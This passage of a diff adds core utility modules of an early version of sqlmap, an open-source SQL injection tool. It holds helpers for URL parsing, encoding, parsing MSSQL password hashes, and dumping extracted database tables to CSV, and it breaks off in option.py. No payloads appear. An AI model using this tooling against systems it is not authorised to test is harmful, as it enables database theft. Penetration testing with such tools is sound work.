|
||||
def randomInt(length=4):
|
||||
"""
|
||||
@param length: length of the random string.
|
||||
@type length: C{int}
|
||||
|
||||
@return: a random string of digits.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
||||
|
||||
|
||||
def randomStr(length=5):
|
||||
"""
|
||||
@param length: length of the random string.
|
||||
@type length: C{int}
|
||||
|
||||
@return: a random string of characters.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
||||
|
||||
|
||||
def sanitizeStr(string):
|
||||
"""
|
||||
@param string: string to sanitize: cast to str datatype and replace
|
||||
newlines with one space and strip carriage returns.
|
||||
@type string: C{str}
|
||||
|
||||
@return: sanitized string
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
cleanString = str(string)
|
||||
cleanString = cleanString.replace("\n", " ").replace("\r", "")
|
||||
|
||||
return cleanString
|
||||
|
||||
|
||||
def checkFile(filename):
|
||||
"""
|
||||
@param filename: filename to check if it exists.
|
||||
@type filename: C{str}
|
||||
"""
|
||||
|
||||
if not os.path.exists(filename):
|
||||
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
||||
|
||||
|
||||
def replaceNewlineTabs(string):
|
||||
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
||||
|
||||
return replacedString
|
||||
|
||||
|
||||
def banner():
|
||||
"""
|
||||
This function prints sqlmap banner with its version
|
||||
"""
|
||||
|
||||
print """
|
||||
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
""" % VERSION_STRING
|
||||
|
||||
|
||||
def parsePasswordHash(password):
|
||||
blank = " " * 8
|
||||
|
||||
if not password or password == " ":
|
||||
password = "NULL"
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server" and password != "NULL":
|
||||
hexPassword = password
|
||||
password = "%s\n" % hexPassword
|
||||
password += "%sheader: %s\n" % (blank, hexPassword[:6])
|
||||
password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
|
||||
password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
|
||||
|
||||
if kb.dbmsVersion[0] not in ( "2005", "2008" ):
|
||||
password += "%suppercase: %s" % (blank, hexPassword[54:])
|
||||
|
||||
return password
|
||||
|
||||
|
||||
def cleanQuery(query):
|
||||
upperQuery = query.replace("select ", "SELECT ")
|
||||
upperQuery = upperQuery.replace(" from ", " FROM ")
|
||||
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
|
||||
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
|
||||
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
|
||||
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
|
||||
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
|
||||
|
||||
return upperQuery
|
||||
|
||||
|
||||
def setPaths():
|
||||
# sqlmap paths
|
||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
|
||||
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
|
||||
|
||||
# sqlmap files
|
||||
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
|
||||
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
|
||||
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
|
||||
|
||||
|
||||
def weAreFrozen():
|
||||
"""
|
||||
Returns whether we are frozen via py2exe.
|
||||
This will affect how we find out where we are located.
|
||||
Reference: http://www.py2exe.org/index.cgi/WhereAmI
|
||||
"""
|
||||
|
||||
return hasattr(sys, "frozen")
|
||||
|
||||
|
||||
def parseTargetUrl():
|
||||
"""
|
||||
Parse target url and set some attributes into the configuration
|
||||
singleton.
|
||||
"""
|
||||
|
||||
if not conf.url:
|
||||
return
|
||||
|
||||
if not re.search("^http[s]*://", conf.url):
|
||||
if ":443/" in conf.url:
|
||||
conf.url = "https://" + conf.url
|
||||
else:
|
||||
conf.url = "http://" + conf.url
|
||||
|
||||
__urlSplit = urlparse.urlsplit(conf.url)
|
||||
__hostnamePort = __urlSplit[1].split(":")
|
||||
|
||||
conf.scheme = __urlSplit[0]
|
||||
conf.path = __urlSplit[2]
|
||||
conf.hostname = __hostnamePort[0]
|
||||
|
||||
if len(__hostnamePort) == 2:
|
||||
conf.port = int(__hostnamePort[1])
|
||||
elif conf.scheme == "https":
|
||||
conf.port = 443
|
||||
else:
|
||||
conf.port = 80
|
||||
|
||||
if __urlSplit[3]:
|
||||
conf.parameters["GET"] = __urlSplit[3]
|
||||
|
||||
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
|
||||
|
||||
|
||||
def expandAsteriskForColumns(expression):
|
||||
# If the user provided an asterisk rather than the column(s)
|
||||
# name, sqlmap will retrieve the columns itself and reprocess
|
||||
# the SQL query string (expression)
|
||||
asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I)
|
||||
|
||||
if asterisk:
|
||||
infoMsg = "you did not provide the fields in your query. "
|
||||
infoMsg += "sqlmap will retrieve the column names itself"
|
||||
logger.info(infoMsg)
|
||||
|
||||
conf.db = asterisk.group(1)
|
||||
conf.tbl = asterisk.group(2)
|
||||
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
|
||||
|
||||
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
|
||||
columns = columnsDict[conf.db][conf.tbl].keys()
|
||||
columns.sort()
|
||||
columnsStr = ", ".join([column for column in columns])
|
||||
expression = expression.replace("*", columnsStr, 1)
|
||||
|
||||
infoMsg = "the query with column names is: "
|
||||
infoMsg += "%s" % expression
|
||||
logger.info(infoMsg)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def getRange(count, dump=False):
|
||||
count = int(count)
|
||||
indexRange = None
|
||||
limitStart = 1
|
||||
limitStop = count
|
||||
|
||||
if dump:
|
||||
if isinstance(conf.limitStop, int) and conf.limitStop < count:
|
||||
limitStop = conf.limitStop
|
||||
|
||||
if isinstance(conf.limitStart, int) and conf.limitStart <= limitStop:
|
||||
limitStart = conf.limitStart
|
||||
|
||||
# TODO: also for Microsoft SQL Server in getColumns method?
|
||||
if kb.dbms == "Oracle":
|
||||
indexRange = range(limitStart, limitStop + 1)
|
||||
else:
|
||||
indexRange = range(limitStart - 1, limitStop)
|
||||
|
||||
return indexRange
|
||||
82
lib/core/convert.py
Normal file
82
lib/core/convert.py
Normal file
@@ -0,0 +1,82 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: convert.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import md5
|
||||
import sha
|
||||
import struct
|
||||
import urllib
|
||||
|
||||
|
||||
def base64decode(string):
|
||||
return string.decode("base64")
|
||||
|
||||
|
||||
def base64encode(string):
|
||||
return string.encode("base64")[:-1]
|
||||
|
||||
|
||||
def hexdecode(string):
|
||||
string = string.lower()
|
||||
|
||||
if string.startswith("0x"):
|
||||
string = string[2:]
|
||||
|
||||
return string.decode("hex")
|
||||
|
||||
|
||||
def hexencode(string):
|
||||
return string.encode("hex")
|
||||
|
||||
|
||||
def md5hash(string):
|
||||
return md5.new(string).hexdigest()
|
||||
|
||||
|
||||
def orddecode(string):
|
||||
packedString = struct.pack("!"+"I" * len(string), *string)
|
||||
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
|
||||
|
||||
|
||||
def ordencode(string):
|
||||
return tuple([ord(char) for char in string])
|
||||
|
||||
|
||||
def sha1hash(string):
|
||||
return sha.new(string).hexdigest()
|
||||
|
||||
|
||||
def urldecode(string):
|
||||
if not string:
|
||||
return
|
||||
|
||||
return urllib.unquote_plus(string)
|
||||
|
||||
|
||||
def urlencode(string, safe=":/?%&="):
|
||||
if not string:
|
||||
return
|
||||
|
||||
return urllib.quote(string, safe)
|
||||
48
lib/core/data.py
Normal file
48
lib/core/data.py
Normal file
@@ -0,0 +1,48 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: data.py 247 2008-07-19 23:07:26Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.settings import LOGGER
|
||||
|
||||
# sqlmap paths
|
||||
paths = advancedDict()
|
||||
|
||||
# object to share within function and classes command
|
||||
# line options and settings
|
||||
conf = advancedDict()
|
||||
|
||||
# object to share within function and classes results
|
||||
kb = advancedDict()
|
||||
|
||||
# object to share within function and classes temporary data,
|
||||
# just for internal use
|
||||
temp = advancedDict()
|
||||
|
||||
# object with each database management system specific queries
|
||||
queries = {}
|
||||
|
||||
# logger
|
||||
logger = LOGGER
|
||||
77
lib/core/datatype.py
Normal file
77
lib/core/datatype.py
Normal file
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: datatype.py 316 2008-08-03 22:56:20Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
from lib.core.exception import sqlmapDataException
|
||||
|
||||
|
||||
class advancedDict(dict):
|
||||
"""
|
||||
This class defines the sqlmap object, inheriting from Python data
|
||||
type dictionary.
|
||||
"""
|
||||
|
||||
def __init__(self, indict=None, attribute=None):
|
||||
if indict is None:
|
||||
indict = {}
|
||||
|
||||
# Set any attributes here - before initialisation
|
||||
# these remain as normal attributes
|
||||
self.attribute = attribute
|
||||
dict.__init__(self, indict)
|
||||
self.__initialised = True
|
||||
|
||||
# After initialisation, setting attributes
|
||||
# is the same as setting an item
|
||||
|
||||
|
||||
def __getattr__(self, item):
|
||||
"""
|
||||
Maps values to attributes
|
||||
Only called if there *is NOT* an attribute with this name
|
||||
"""
|
||||
|
||||
try:
|
||||
return self.__getitem__(item)
|
||||
except KeyError:
|
||||
raise sqlmapDataException, "Unable to access item '%s'" % item
|
||||
|
||||
|
||||
def __setattr__(self, item, value):
|
||||
"""
|
||||
Maps attributes to values
|
||||
Only if we are initialised
|
||||
"""
|
||||
|
||||
# This test allows attributes to be set in the __init__ method
|
||||
if not self.__dict__.has_key('_advancedDict__initialised'):
|
||||
return dict.__setattr__(self, item, value)
|
||||
|
||||
# Any normal attributes are handled normally
|
||||
elif self.__dict__.has_key(item):
|
||||
dict.__setattr__(self, item, value)
|
||||
|
||||
else:
|
||||
self.__setitem__(item, value)
|
||||
|
||||
307
lib/core/dump.py
Normal file
307
lib/core/dump.py
Normal file
@@ -0,0 +1,307 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: dump.py 360M 2008-10-15 00:04:47Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import os
|
||||
|
||||
from lib.core.common import dataToDumpFile
|
||||
from lib.core.common import filePathToString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
|
||||
|
||||
class Dump:
|
||||
"""
|
||||
This class defines methods used to parse and output the results
|
||||
of SQL injection actions
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.__outputFile = None
|
||||
self.__outputFP = None
|
||||
|
||||
|
||||
def __write(self, data, n=True, rFile=False):
|
||||
if n:
|
||||
print data
|
||||
self.__outputFP.write("%s\n" % data)
|
||||
|
||||
# TODO: do not duplicate queries output in the text file, check
|
||||
# before if the data is already within the text file content
|
||||
if rFile and conf.rFile:
|
||||
rFile = filePathToString(conf.rFile)
|
||||
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
|
||||
rFileFP.write(data)
|
||||
rFileFP.close()
|
||||
else:
|
||||
print data,
|
||||
self.__outputFP.write("%s " % data)
|
||||
|
||||
self.__outputFP.flush()
|
||||
|
||||
conf.loggedToOut = True
|
||||
|
||||
|
||||
def setOutputFile(self):
|
||||
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
|
||||
self.__outputFP = open(self.__outputFile, "a")
|
||||
|
||||
|
||||
def string(self, header, data):
|
||||
if isinstance(data, (list, tuple, set)):
|
||||
self.lister(header, data)
|
||||
|
||||
return
|
||||
|
||||
if data:
|
||||
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
|
||||
data = data.replace("__START__", "").replace("__STOP__", "")
|
||||
data = data.replace("__DEL__", ", ")
|
||||
|
||||
if "\n" in data:
|
||||
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header)
|
||||
else:
|
||||
self.__write("%s: '%s'\n" % (header, data))
|
||||
else:
|
||||
self.__write("%s:\tNone\n" % header)
|
||||
|
||||
|
||||
def lister(self, header, elements):
|
||||
self.__write("%s [%d]:" % (header, len(elements)))
|
||||
|
||||
try:
|
||||
elements = set(elements)
|
||||
elements = list(elements)
|
||||
elements.sort(key=lambda x: x.lower())
|
||||
except:
|
||||
pass
|
||||
|
||||
for element in elements:
|
||||
if isinstance(element, str):
|
||||
self.__write("[*] %s" % element)
|
||||
elif isinstance(element, (list, tuple, set)):
|
||||
self.__write("[*] " + ", ".join(e for e in element))
|
||||
|
||||
self.__write("")
|
||||
|
||||
|
||||
def userSettings(self, header, userSettings, subHeader):
|
||||
self.__areAdmins = set()
|
||||
|
||||
self.__write("%s:" % header)
|
||||
|
||||
if isinstance(userSettings, (tuple, list, set)):
|
||||
self.__areAdmins = userSettings[1]
|
||||
userSettings = userSettings[0]
|
||||
|
||||
users = userSettings.keys()
|
||||
users.sort(key=lambda x: x.lower())
|
||||
|
||||
for user in users:
|
||||
settings = userSettings[user]
|
||||
|
||||
if user in self.__areAdmins:
|
||||
self.__write("[*] %s (administrator) [%d]:" % (user, len(settings)))
|
||||
else:
|
||||
self.__write("[*] %s [%d]:" % (user, len(settings)))
|
||||
|
||||
settings.sort()
|
||||
|
||||
for setting in settings:
|
||||
self.__write(" %s: %s" % (subHeader, setting))
|
||||
print
|
||||
|
||||
|
||||
def dbTables(self, dbTables):
|
||||
maxlength = 0
|
||||
|
||||
for tables in dbTables.values():
|
||||
for table in tables:
|
||||
maxlength = max(maxlength, len(table))
|
||||
|
||||
lines = "-" * (int(maxlength) + 2)
|
||||
|
||||
for db, tables in dbTables.items():
|
||||
tables.sort(key=lambda x: x.lower())
|
||||
|
||||
self.__write("Database: %s" % db)
|
||||
|
||||
if len(tables) == 1:
|
||||
self.__write("[1 table]")
|
||||
else:
|
||||
self.__write("[%d tables]" % len(tables))
|
||||
|
||||
self.__write("+%s+" % lines)
|
||||
|
||||
for table in tables:
|
||||
blank = " " * (maxlength - len(table))
|
||||
self.__write("| %s%s |" % (table, blank))
|
||||
|
||||
self.__write("+%s+\n" % lines)
|
||||
|
||||
|
||||
def dbTableColumns(self, tableColumns):
|
||||
for db, tables in tableColumns.items():
|
||||
if not db:
|
||||
db = "All"
|
||||
|
||||
for table, columns in tables.items():
|
||||
maxlength1 = 0
|
||||
maxlength2 = 0
|
||||
|
||||
colList = columns.keys()
|
||||
colList.sort(key=lambda x: x.lower())
|
||||
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
maxlength1 = max(maxlength1, len(column))
|
||||
maxlength2 = max(maxlength2, len(colType))
|
||||
|
||||
maxlength1 = max(maxlength1, len("COLUMN"))
|
||||
maxlength2 = max(maxlength2, len("TYPE"))
|
||||
lines1 = "-" * (int(maxlength1) + 2)
|
||||
lines2 = "-" * (int(maxlength2) + 2)
|
||||
|
||||
self.__write("Database: %s\nTable: %s" % (db, table))
|
||||
|
||||
if len(columns) == 1:
|
||||
self.__write("[1 column]")
|
||||
else:
|
||||
self.__write("[%d columns]" % len(columns))
|
||||
|
||||
self.__write("+%s+%s+" % (lines1, lines2))
|
||||
|
||||
blank1 = " " * (maxlength1 - len("COLUMN"))
|
||||
blank2 = " " * (maxlength2 - len("TYPE"))
|
||||
|
||||
self.__write("| Column%s | Type%s |" % (blank1, blank2))
|
||||
self.__write("+%s+%s+" % (lines1, lines2))
|
||||
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
blank1 = " " * (maxlength1 - len(column))
|
||||
blank2 = " " * (maxlength2 - len(colType))
|
||||
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
||||
|
||||
self.__write("+%s+%s+\n" % (lines1, lines2))
|
||||
|
||||
|
||||
def dbTableValues(self, tableValues):
|
||||
db = tableValues["__infos__"]["db"]
|
||||
if not db:
|
||||
db = "All"
|
||||
table = tableValues["__infos__"]["table"]
|
||||
|
||||
if not conf.googleDork:
|
||||
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
|
||||
|
||||
if not os.path.isdir(dumpDbPath):
|
||||
os.makedirs(dumpDbPath, 0755)
|
||||
|
||||
dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table)
|
||||
dumpFP = open(dumpFileName, "w")
|
||||
|
||||
count = int(tableValues["__infos__"]["count"])
|
||||
separator = ""
|
||||
field = 1
|
||||
fields = len(tableValues) - 1
|
||||
|
||||
columns = tableValues.keys()
|
||||
columns.sort(key=lambda x: x.lower())
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
lines = "-" * (int(info["length"]) + 2)
|
||||
separator += "+%s" % lines
|
||||
|
||||
separator += "+"
|
||||
self.__write("Database: %s\nTable: %s" % (db, table))
|
||||
|
||||
if count == 1:
|
||||
self.__write("[1 entry]")
|
||||
else:
|
||||
self.__write("[%d entries]" % count)
|
||||
|
||||
self.__write(separator)
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
maxlength = int(info["length"])
|
||||
blank = " " * (maxlength - len(column))
|
||||
self.__write("| %s%s" % (column, blank), n=False)
|
||||
|
||||
if not conf.googleDork and field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
||||
|
||||
field += 1
|
||||
|
||||
self.__write("|\n%s" % separator)
|
||||
if not conf.googleDork:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
for i in range(count):
|
||||
field = 1
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
value = info["values"][i]
|
||||
|
||||
if re.search("^[\ *]*$", value):
|
||||
value = "NULL"
|
||||
|
||||
maxlength = int(info["length"])
|
||||
blank = " " * (maxlength - len(value))
|
||||
self.__write("| %s%s" % (value, blank), n=False)
|
||||
|
||||
if field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
||||
|
||||
field += 1
|
||||
|
||||
self.__write("|")
|
||||
if not conf.googleDork:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
self.__write("%s\n" % separator)
|
||||
|
||||
if not conf.googleDork:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
dumpFP.close()
|
||||
|
||||
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
|
||||
|
||||
|
||||
# object to manage how to print the retrieved queries output to
|
||||
# standard output and sessions file
|
||||
dumper = Dump()
|
||||
109
lib/core/exception.py
Normal file
109
lib/core/exception.py
Normal file
@@ -0,0 +1,109 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: exception.py 316 2008-08-03 22:56:20Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
||||
class sqlmapConnectionException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapDataException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapFilePathException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapGenericException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapMissingMandatoryOptionException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapNoneDataException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapRegExprException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapSyntaxException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUndefinedMethod(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapMissingPrivileges(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapNotVulnerableException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUnsupportedDBMSException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUnsupportedFeatureException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapValueException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def unhandledException():
|
||||
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||
errMsg += "this and the following traceback and send us by email. "
|
||||
errMsg += "We will fix it as soon as possible:"
|
||||
|
||||
return errMsg
|
||||
|
||||
|
||||
exceptionsTuple = (
|
||||
sqlmapConnectionException,
|
||||
sqlmapDataException,
|
||||
sqlmapFilePathException,
|
||||
sqlmapGenericException,
|
||||
sqlmapMissingMandatoryOptionException,
|
||||
sqlmapNoneDataException,
|
||||
sqlmapRegExprException,
|
||||
sqlmapSyntaxException,
|
||||
sqlmapUndefinedMethod,
|
||||
sqlmapMissingPrivileges,
|
||||
sqlmapNotVulnerableException,
|
||||
sqlmapUnsupportedDBMSException,
|
||||
sqlmapUnsupportedFeatureException,
|
||||
sqlmapValueException,
|
||||
)
|
||||
571
lib/core/option.py
Normal file
571
lib/core/option.py
Normal file
@@ -0,0 +1,571 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: option.py 321M 2008-10-13 22:58:44Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import cookielib
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
from lib.core.common import randomRange
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapGenericException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.optiondict import optDict
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import SITE
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.update import update
|
||||
from lib.parse.configfile import configFileParser
|
||||
from lib.parse.queriesfile import queriesParser
|
||||
from lib.request.proxy import ProxyHTTPSHandler
|
||||
from lib.utils.google import Google
|
||||
|
||||
|
||||
authHandler = urllib2.BaseHandler()
|
||||
proxyHandler = urllib2.BaseHandler()
|
||||
|
||||
|
||||
def __urllib2Opener():
|
||||
"""
|
||||
This function creates the urllib2 OpenerDirector.
|
||||
"""
|
||||
|
||||
global authHandler
|
||||
global proxyHandler
|
||||
|
||||
debugMsg = "creating HTTP requests opener object"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.cj = cookielib.LWPCookieJar()
|
||||
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
|
||||
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
|
||||
def __setGoogleDorking():
|
||||
"""
|
||||
This function checks if the way to request testable hosts is through
|
||||
